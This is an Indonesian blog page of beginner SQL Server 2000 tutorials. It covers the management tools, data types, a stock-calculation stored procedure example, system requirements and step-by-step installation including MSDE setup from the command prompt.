Biasanya SQL Server diinternet/Web Hosting menggunakan Mixed Mode, sehingga setiapuser/pelanggan dapat membuat login di SQL Server tanpa harusmemiliki login di sistem Windows

Selanjutnya proses instalasi akan mengcopy file kekomputer. Setelah proses selesai maka Anda sudah siap bekerjadengan SQL Server.




Fasilitas-Fasilitas Penting SQL Server
SQL Server 2000 lengkap dengan fasilitas-fasilitas yang mempermudah
pengguna menangani database, diantaranya ialah :


1. Web Assistant Wizard


SQL Server menyediakan cara untuk bekerja dengan Internet menggunakan
WEB Assisstant Wizard dan interoperability dengan Microsoft Internet Information
Service (IIS). Meskipun Web Assistant Wizard dan IIS memungkinkan SQL Serverdata
untuk digunakan dengan web page. Web Assistant Wizard membuat file HTML dari
query SQL Server, sehingga membuat kita mudah untuk mempublikasi data SQL Server
di Internet.


2. SQL Server Profiler


SQL Profiler ialah utility graphis yang mengizinkan administrator database dan
pengembang aplikasi untuk memonitor dan merekam aktivitas database. SQL Server
dapat menampilkan seluruh aktivitas Server secara real time, atau dapat membuat filter
yang terfokus pada aksi dari pengguna tertentu, aplikasi atau tipe-tipe perintah.
SQL Profiler ialah perangkat yang penting untuk menyesuaikan (tuning) dan melacak
kesalahan aplikasi, mengaudit dan memprofil penggunaan SQL Server.


3. SQL Server Service Manager


Digunakan untuk mengatur service yang ada di SQL Server,apakah akan dijalankan atau dimatikan. Sebuah service juga dapat disetup agar berjalan otomatis sebagai Windows service, atau dijalankan secara manual.
Ada 3 service standar dalam setiap instalasi default SQL Server:
• Distributed Transaction Coordinator
• SQL Server
• SQL Server Agent



4. SQL Query Analyzer


Tool inI merupakan interface utama dalam melakukan pemrograman di SQL Server. Bahasa yang digunakan adalah Transact SQL (T-SQL). Anda dapat membuat perintah untuk mengambil data, sortir, manipulasi data serta melakukan perhitungan tertentu terhadap sekumpulan data dalam database. Script yang telah dibuat dapat disimpan sebagai View ataupun Stored Procedure, sesuai dengan kebutuhan dalam pembuatan aplikasi.FungsiQuery Analyzer ialah memasukkan perintah query untuk melihat data. Tampilan pertama kali ketika masuk keQuery Analyzer adalah sebagai berikut :

Secara default, kita tidak perlu memasukkan password, oleh karena itu cukup menekan tombol OK dan akan tampil tampilan sebagai berikut :

Gambar Tampilan untuk Mengetik Script Query Analyzer


Pada ruang yang tersedia, disitulah Anda mengetik script yang diinginkan.
Sebagai contoh, Anda ingin menampilkan semua data calon mahasiswa pada database
PMB dari tabel CalonMahasiswa, maka script yang Anda tulis dibagian atas seperti
Gambar 2.3. adalah sebagai berikut :
Select *
From CalonMahasiswa
Setelah menulis script tersebut di atas, untuk mengeksekusi perintahnya kita
tekan tombol F5, maka akan tampil data yang Anda inginkan seperti data yang ada di
baris bawah pada Gambar 2.3.


5. SQL Enterprise Manager


Merupakan interface utama dan paling sering digunakan olehadministrator database. Bagian ini mengandung sebagaian besarfungsi-fungsi pokok dalam mengatur database

Di dalam folder database ditampilkan berbagai databaseyang ada. Database master, model, msdb, dan tempdbmerupakan default system database yang diperlukan agar SQLServer dapat berfungsi baik. Keempat database ini tidak bolehdihapus ataupun dimodifikasi tanpa pengetahuan yangmencukupi tentang system SQL Server.
Sedangkan NorthWind dan pubs adalah database sampelyang dapat digunakan untuk berlatih perintah SQL maupunadministration job. Di dalam folder Security terdapat tool Loginyang berisi daftar user di dalam database. Di bagian ini semuamanajemen menyangkut user account dilakukan.





Mengaktifkan SQL Server
Untuk langkah berikut ini adalah bagaimana melakukan aktifasi pada SQL server
2000.


Ø Mengaktifkan SQL Server Service
Untuk memulai atau mengehentikan SQL Server service dengan
menggunakan prosedur sebagai berikut :
Pertama : Klik Start, klik Program, Klik Microsoft SQL Server, lalau klik Service
Manager. Pada layar komputer anda muncul Kotak Dialog SQl Server
Manager.





Gambar Kotak Dialog SQL Service Manager


Kedua : Pada gambar 2.4. terdapat beberapa kotak pilihan dan tombol pilihan.
a. Kotak Server : Untuk memilih nama server yang akan dikontrol.
b. Kotak Service : Untuk memilih spesifikasi service yang diinginkan
(SQL Server, Microsoft Distributed Transaction Coordinatar, atau SQl
Server Agent).
c. Tombol Start : Untuk Memulai SQL Service.
d. Tombol Stop : Untuk Menghentikan SQL Service.


Ø Tugas SQL Server Enterprise Manager
Enterprise manager adalah bagian dari Microsoft Management Console
(MMC). MMC adalah pusat aplikasi yang digunakan untuk semua aspek dari sistem
yang berjalan pada windows 2000 server. Enterprise manager berisi tool untuk
konfigurasi manajemen instalasi SQL Server. Enterprise Manager dapat melakukan
tugas-tugas sebagai berikut :
• Register server.
• Konfigurassi local dan remote server.
• Konfigurasi dan managemen instalasi multiple server.
• Set up login sekuritas dan menambah user, sistem administrator dan
operator.
• Mendaftarkan password untuk sistem administrator (sa).
• Membuat danmenjadwal job.
• Membuat alerts dan konfigurasi SQL server untuk komunikasi ke sistem
administrator melalui email.
• Set up dan management database, tabel, index, view, stored procedure,
rules, tringger, default, back up service dan error log.
• Memanage SQL server service yang lain


Ø Mengaktifkan SQL Server Enterprise Manager
Untuk mengaktifkan Enterprise Manager, lalukan prosedur berikut ini :
Klik Start, klik Programs, Klik Microsoft SQL Server, lalu klik Enterprise Manager.
Sambil anda menentukan pilihan, perhatikan jendela berikut ini.

Setelah selesai mengikuti prosedur dengan benar, maka jendela yang
muncul sebagai berikut :

Gambar Jendela SQL Server Enterprise Manager


Ø Membuat Database dan Tabel
Setelah melakukan aktifasi tehadap SQL Server Enterprise Manager seperti yang
terlihat pada gambar 2.5. tersebut diatas, maka langkah berikutnya adalah kita bisa membuat
suatu database.


Database
Database pada Microsoft SQL Server terdiri dari kumpulan tabel-tabel yang
berisi data dan obyek-obyek yang lain, seperti view, indexes, store procedure dan
triggers. SQL Server dapat men-support banyak database dan setiap data dapat
disimpan dalam suatu database yang dapat dihubungkan dengan database lainnya.
Kelebihan yang ada pada SQL Server 2000 di dalam pembuatan database adalah :
_ Mempunyai transaction log tersendiri dan mengatur transaksi dalam database
_ Data dapat berkisar antara MB sampai 1.048.516TB
_ Dapat menambah ukuran data secara manual atau otomatis
_ Dapat diset sesuai dengan keinginan (misalnya Anda dapat menetapkan database
Anda hanya dapat dibaca tetapi tidak dapat diedit)
Ada dua cara dalam membuat Database SQL Server 2000, dengan Enterprise Manager
dan dengan Pernyataan pada Query Analyzer.
Tabel
Tabel adalah suatu koleksi data yang serupa, terdiri atas kolom dan baris. Setiap
database dalam SQL Server dapat memuat hingga 2 milyar tabel, dan setiap tabel dapat
dibentuk maksimum 1024 kolom dan 8092 bytes per baris.


Data Type (Tipe Data) dalam SQL
Tipe data didlam SQL Server terdiri dari beberapa macam, penjelasan dari
masing – masing tipe data tersebut adalah sebagai berikut.
1. Character
Data karakter terdiri dari kombinasi hurup (a-z), angka (0-9) dan special karakter
(!,,@,#,$,%,^,& dan *)
Ada tiga tipe data karakter, yaitu :
- Char
Data Char digunakan untuk menyimpan data karakter dengan panjang tertentu.
Apabila mendefinisikan suatu kolom sebagai tipe Char, harus ditentukan panjang
kolom tersebut. Sebuah kolom data dengan tipe Char dapat memiliki panjang hingga
8000 karakter.
- Varchar
Data Varchar, seperti halnya data Char, digunakan untuk menyimpan data karakter.
Seperti tipe Char, tipe data Varchar juga memiliki panjang yang bervariasi. Apabila
Anda mendefinisikan tipe data varchar, tetapkan panjang maksimum untuk kolom
tersebut. Perbedaan yang paling besar dari tipe data ini dengan tipe data Char
adalah yang disimpan adalah panjang dari data, bukan panjang dari kolom.
- Text
Data text digunakan untuk menyimpan data jenis text dengan jumlah yang sangat
panjang. Tipe data ini dapat memuat 231-1 atau 2 milyar karakter.
2. Numeric
Data Numeric terdiri dari angka positif dan negatif, angka decimal dan seluruh
angka.
Ada tiga tipe data Numeric, yaitu :
Integer Data
Interger terdiri dari bilangan negatif dan positif serta seluruh bilangan bulat. Ada
tiga tipe Data Integer, yaitu :
§ Int
Data Int dapat menyimpan nilai nilai bilangan bulat dari 2e-31
(2.147.483.647) sampai dengan 2e31 (+2.147.483.647)
§ Smallint
Dapat menyimpan bilangan antara 2e-15(--32768) sampai dengan 2e15
(+32768). Tipe data ini sangat berguna jika anda menyimpan data Numeric
yang kisaran nilainya ada dalam interval tertentu yang diketahui .
§ Tinyint
Tipe data tinyint dapat menyimpan bilangan bulat antara 0 sampai dengan
255. Tipe ini sangat bermanfaat jika nilai bilangan yang akan disimpan
memiliki kisaran yang terbatas.
Exact numeric
Tipe data Exact numeric menyimpan angka decimal. Tipe data decimal dapat
digunakan untuk menyimpan bilangan presesi dan numeric pada kisaran 10e-37
sampai dengan 10e37. Jika menggunakan tipe data decimal , harus ditetapkan skala
serta presisinya. Skala adalah jumlah total digit decimal yang dapat ada di sebelah
kiri dan kanan tanda koma. Presisi jumlah digit angka yang ada di sebelah kanan
koma.
Approximate Numeric
Data yang dapat dihitung secara akurat oleh binary numbering system. Pecahan ½
merupakan contoh dari approximate numeric data yang tidak dapat diwakili secara
akurat dengan menggunakan approximate desimal data. Oleh karena itu, nilai yang
SQL Server tampilkan untuk pecahan akan berbeda dengan nilai yang
sesungguhnya yang telah disimpan. Tipe data yang dapat digunakan untuk
menyimpan approximate numeric data adalah float dan real.
· Money
Tipe data money dapat digunakan untuk menyimpan data monetary data.
Tipe ini dapat menampung data dari –922 milyar sampai dengan 922 milyar
dengan ketelitian sampai empat angka dibelakang koma.
· Smallmoney
Tipe data ini dapat menampung data –214.748,3648 sampai 214.748,3648.
· Datetime
Tipe data datetime digunakan untuk menyatakan tanggal dan waktu. Tipe
data ini dapat menyimpan tanggal dan waktu mulai dari 1 Januari 1763
sampai dengan 31 Desember 9999 dengan ketelitian 1 per tiga ratus detik
atau 3.33 mildetik.
readmore »»  

Selasa, 11 September 2012

Cara Membuat Store Procedure di SQL Server

- bazComp share -


Cara Membuat Store Procedure di SQL Server

Membuat STORE PROCEDURE di SQL sangat penting untuk dikuasai terutama bagi ingin mendalami bahasa pemrograman aplikasi yang berkaitan dengan DATABASE (entah itu Delphi, VBasic, VFoxro, bahkan Web Base). Karena didalam STORE PROCEDURE ini kita akan melakukan perhitungan-perhitungan data yang hasilnya berupa dataset langsung dapat kita ambil melalui program aplikasi yang kita bikin.Mungkin Anda pernah mendengar dengan program Client Server. Maksud dari program Client Server adalah kita membuat suatu program yang diletakkan diserver berupa bahasa SQL dimana didalam program tersebut biasanya ditugaskan untuk melakukan perhitungan-perhitungan data dimana hasil akhirnya dapat kita ambil dan ditampilkan lewat program-program aplikasi (seperti Delphi, Visual Basic, Visual Foxpro, dll) yang berhubungan langsung dengan end user. Jadi STORE PROCEDURE tersebut letaknya di Sever, sedangkan program aplikasi yang berhubungan langsung dengan end user letaknya di komputer Client. Untuk itulah diistilahkan dengan program Client Server. Penguasaan SQL wajib hukumnya bagi yang ingin mengembangkan suatu program dengan berbasis DATABASE. Kalau tidak kita akan mendapat suatu kesulitan yang sangat luar biasa dalam mengembangkan suatu program aplikasi. Apalagi bahasa SQL ini sangat welcome sekali terhadap berbagai macam jenis bahasa. Semuanya rata-rata mengenali bahasa ini. Kita kembali ke awal, dengan menggunakan STORE PROCEDURE traffic (lalu lintas) data dijaringan dapat dikurangi, karena perhitungan-perhitungan sudah dilakukan diserver dan program di Client tinggal mengambil hasil akhirnya saja yang akan ditampilkan kepada end user.



Disini saya akan membuat contoh membuat STORE PROCEDURE dengan memakai SQL Server dengan menggunakan fasilitas Query Analyzer.

Untuk memudahkan saya akan berikan contoh kasus sederhana dibawah ini :

Kita mempunyai dua tabel, yang pertama tb_masuk dimana tabel ini berisi quantity barang masuk. Dan yang kedua tabel tb_keluar yang berisi data quantity barang keluar. Sekarang hitung jumlah quantity dengan rumus qty_akhir = qtymasuk-qtykeluar.

tb_masuk tb_keluar
Kode Qty Kode Qty
1001 50 1002 10
1002 25 1003 11
1001 12 1004 15
1003 15 1006 20
1006 26 1002 5
1004 30 1003 3
1001 25 1001 20
1002 23 1006 2
Pertama kali buka Query Analyzer, dan diharapkan Anda sudah bisa membuat CREATE DATABASE dan CREATE TABLE dengan isinya seperti tabel diatas.

Kemudian pertama-tama bikin perintah seperti dibawah ini

CREATE PROC sp_hitungStok AS

Perintah tersebut di running terlebih dahulu.

Kemudian diedit melalui langkah-langkah berikut :

Klik Object Browser (F8)





muncul gambar seperti diatas, pilih database yang digunakan dan di expand, kemudian pilih folder Store Procedure, disini merupakan daftar dari Store Procedure termasuk Store Procedure yang kita bikin diatas. Cari nama Store Procedure yang telah kita bikin yaitu sp_hitungStok. Kemudian klik kanan dan edit…..



setelah ALTER PROC sp_hitungStok AS sisipkan perintah ini :

create table #tb_hasil(kode char(4), qty float)insert into #tb_hasil
select kode, qty from tb_masuk

insert into #tb_hasil

select kode, -qty from tb_keluar

select kode, sum(qty) from #tb_hasil group by kode order by kode

“create table #tb_hasil(kode char(4), qty float)” merupakan tabel temporary, setelah procedure selesai dijalankan table ini otomatis terhapus.



Setelah perintah disisipkan silakan di running terlebih dahulu procedure ini dengan menekan tombol Ctrl+E.

Setelah itu ditutup tidak apa-apa, atau masuk dalam window lain dengan menekan tombol Ctrl+W, pilih window sebelumnya atau untitled1.

Berikan perintah untuk memanggil procedure yang dibikin tadi dengan perintah berikut :

exec sp_hitungStok

kemudian perintah ini diblok, dan di running dengan Ctrl+E

Untuk lebih jelas hasilnya dalam bentuk grid Anda harus men-setting menu Query-Result in Grid

Anda akan melihat hasilnya :



Tabel hasil tersebut merupakan penjumlahan dari tabel tb_masuk dan tb_keluar.

Store Procedure dengan Parameter

Dengan contoh yang sama kita akan membuat suatu store procedure dengan parameter.

Seperti contoh diatas kita harus melakukan pengeditan dengan mengklik kanan Store Procedure yang kita bikin dan berikan perintah berikut :

ALTER PROC sp_hitungStok @kode char(4) AScreate table #tb_hasil(kode char(4), qty float)
insert into #tb_hasil

select kode, qty from tb_masuk where kode = @kode

insert into #tb_hasil

select kode, -qty from tb_keluar where kode = @kode

select kode, sum(qty)from #tb_hasil group by kode order by kode

Lengkapnya sbb :



Kemudian di running, terus untuk memanggilnya :

exec sp_hitungStok isi_paramater

contoh : exec sp_hitung ’1001′

silakan jalankan, kita akan mendapatkan hasil berikut :



Yang akan tampil hanya kode ’1001′

Anda bisa mencobannya dengan kode lainnya.
readmore »»  

Install SQL Server 2000



- bazComp share -
 
 
 
Link Download SQL Server 2000

SQL (Structured Query Language) adalah sebuah bahasa yang dipergunakan untuk mengakses data dalam basis data relasional. Umumnya SQL Server digunakan di dunia bisnis yang memiliki basis data berskala kecil sampai dengan menengah, tetapi kemudian berkembang dengan digunakannya SQL Server pada basis data (Database) besar.

Sebelum menginstall SQL server 2000 kita harus mengetahui dahulu spesifikasi minimum komputer yang bisa di install SQL server 2000

Berikut ini spesifikasi minimum untuk komputer yang akan diinstall SQL server 2000


Processor

166-megahertz (MHz) or higher processor


Operating System



SQL Server 2000 Enterprise Edition and Standard Edition can run on the following operating systems:




Windows Server 2003 R2




Windows Server 2003, Standard Edition1




Windows Server 2003, Enterprise Edition2




Windows Server 2003, Datacenter Edition3




Windows® 2000 Server




Windows 2000 Advanced Server




Windows 2000 Datacenter Server




SQL Server 2000 Evaluation Edition and Developer Edition and Workgroup Edition can run on the following operating systems:




Operating systems listed above for Enterprise and Standard Editions




Windows XP Professional




Windows XP Home Edition




Windows 2000 Professional




SQL Server 2000 Personal Edition4 and SQL Server 2000 Desktop Engine (MSDE) can run on the following operating systems:




Operating systems listed above for Enterprise, Standard, Evaluation, and Developer Editions




Windows Server 2003, Web Edition5 (MSDE only)




Windows 98




Windows Millennium Edition (Windows Me)





Memory

Enterprise Edition: 64 megabytes (MB) of RAM; 128 MB recommended



Standard Edition: 64 MB



Workgroup Edition: 64 MB



Evaluation Edition: 64 MB; 128 MB recommended



Developer Edition: 64 MB



Personal Edition: 128 MB for Windows XP; 64 MB for Windows 2000; 32 MB for other operating systems



MSDE: 128 MB for Windows XP; 64 MB for Windows 2000; 32 MB for other operating systems




Harddisk Enterprise, Standard, Workgroup, Evaluation, Developer, and Personal Editions require:






95–270 MB of available hard disk space for the server; 250 MB for a typical installation.




50 MB of available hard disk space for a minimum installation of Analysis Services; 130 MB for a typical installation.




80 MB of available hard disk space for English Query.


MSDE requires 44 MB of available hard disk space.




Drive

CD-ROM drive


Display

VGA or higher-resolution monitor


Other Device




Microsoft Internet Explorer version 5.0 or later




Windows 95, Windows 98, Windows Me, Windows NT 4.0, Windows 2000, and Windows XP have built-in network software. Additional network software is required if you are using Banyan VINES or AppleTalk ADSP. Novell NetWare IPX/SPX client support is provided by the NWLink protocol of Windows-based networking.


Client Support:




Windows 958, Windows 98, Windows Me, Windows NT Workstation 4.0, Windows 2000 Professional, Windows XP Professional, and Windows XP Home Edition are supported.




UNIX, Apple Macintosh, and OS/2 require Open Database Connectivity (ODBC) client software from a non-Microsoft vendor.



******************************************************************************
Sebelum menginstall SQL server pertama-tama masukkan dulu CD master SQL atau



buka file master SQL dari flash disk.

1. Klik dua kali Autorun atau klik kanan >> Open


Autorun



2.Setelah autorun dijalankan maka akan muncul tampilan seperti dibawah ini



Pilih SQL server 2000 Component
3.Maka akan muncul tampilan seperti dibawah ini



Pilih Install database server

4.Setelah Install database server di klik akan munsul SQL server Installation wizard



Klik Next > pada Instalation wizard

5.Selanjutnya akan muncul pilihan seperti berikut



Pilih Local komputer untuk menginstall SQL server di komputer anda

6.Akan ada pilihan

> “Create a new instant of sql server, or install client tools”

> “Upgrade, remove, or add component to an exciting intance of SQL server”

> “Advanced option”



Pilih “Create a new instant of sql server, or install client tools” untuk mengintall SQl server yang baru

Lalu klik next >

7. Masukkan Nama dan nama perusahaan anda



Lalu klik Next >

8. Lalu akan muncul software license aggrement



Klik Yes

9.Selanjutnya akan muncul Definition Instalation



Pilih sesuai kebutuhan anda

jika anda ingin menginstall server sekaligus client SQL server 2000 silahkan pilih “Server and Client tools”,

namun jika saat instalasi SQL server mengalami Error seperti gambar di bawah ini



jika terjadi error seperti gambar di atas sebaiknya anda memilih client tools only, dan menginstall MSDE ( ) melalui command promt caranya :

Jalankan file setup MSDE melalui Command promt

KLik start >> Run lalu ketikkan Cmd

Sebagai contoh bila file master SQL server anda berada di directory D:\master\SQL2ksp4\MSDE



Maka di command promt Tuliskan seperti ini

1. ketikkan D: lalu tekan enter



2. ketikkan cd master lalu tekan enter



3.selanjutnya ketikan cd sql2ksp4

maksudnya adalah membuka File folder bernama sql2ksp4 yang merupakan nama folder master sql saya

4. setelah masuk ke folder master sql anda ketikan cd MSDE untuk membuka folder MSDE dimana terdapat setup MSDE

5. Dan untuk menjalankan setup MSDE ketikkan perintah seperti berikut :

setup sapwd=”(passwordnya terserah anda)” securitymode=sql disablednetworkprotocols=0

lalu tekan enter, sebagai contoh saya ingin passwordnya Krizz maka perintah yang anda ketikkan adalah sebagai berikut

setup sapwd=”Krizz” securitymode=sql disablednetworkprotocols=0

Setelah berhasil menginstall desktop engine maka anda telah mempunyai server sendiri.

Dan setelah SQL server selesai di Install jangan Lupa untuk merestart komputer anda.
 
 
 
 
 

readmore »»